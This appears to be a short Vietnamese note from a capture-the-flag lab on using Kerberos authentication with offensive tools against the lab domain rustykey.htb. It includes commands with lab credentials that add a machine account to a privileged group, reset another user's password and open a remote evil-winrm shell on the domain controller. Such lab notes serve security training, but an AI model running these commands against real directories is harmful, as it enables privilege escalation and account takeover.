Cách sử dụng Kerberos Authentication ticket cho một số tool

Impacket

…

nxc (-k)

nxc ldap 10.10.11.75  -u rr.parker -p '8#t5HE8L!W3A' -k

bloodyAD (-k)

bloodyAD add groupMember

bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' add groupMember HELPDESK 'IT-COMPUTER3$'

bloodyAD set password

bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password bb.morgan 'Ahihi@123'

evil-winrm (-r)

Tham số -r được cấu hình tại /etc/krb5.conf

Cấu hình tại /etc/krb5.conf

[libdefaults]
    default_realm = RUSTYKEY.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    RUSTYKEY.HTB = {
        kdc = dc.rustykey.htb
        admin_server = dc.rustykey.htb
    }

[domain_realm]
    .rustykey.htb = RUSTYKEY.HTB
    rustykey.htb = RUSTYKEY.HTB

evil-winrm -i dc.rustykey.htb -u 'bb.morgan' -r rustykey.htb

Để ý lỗi này => đồng bộ time là được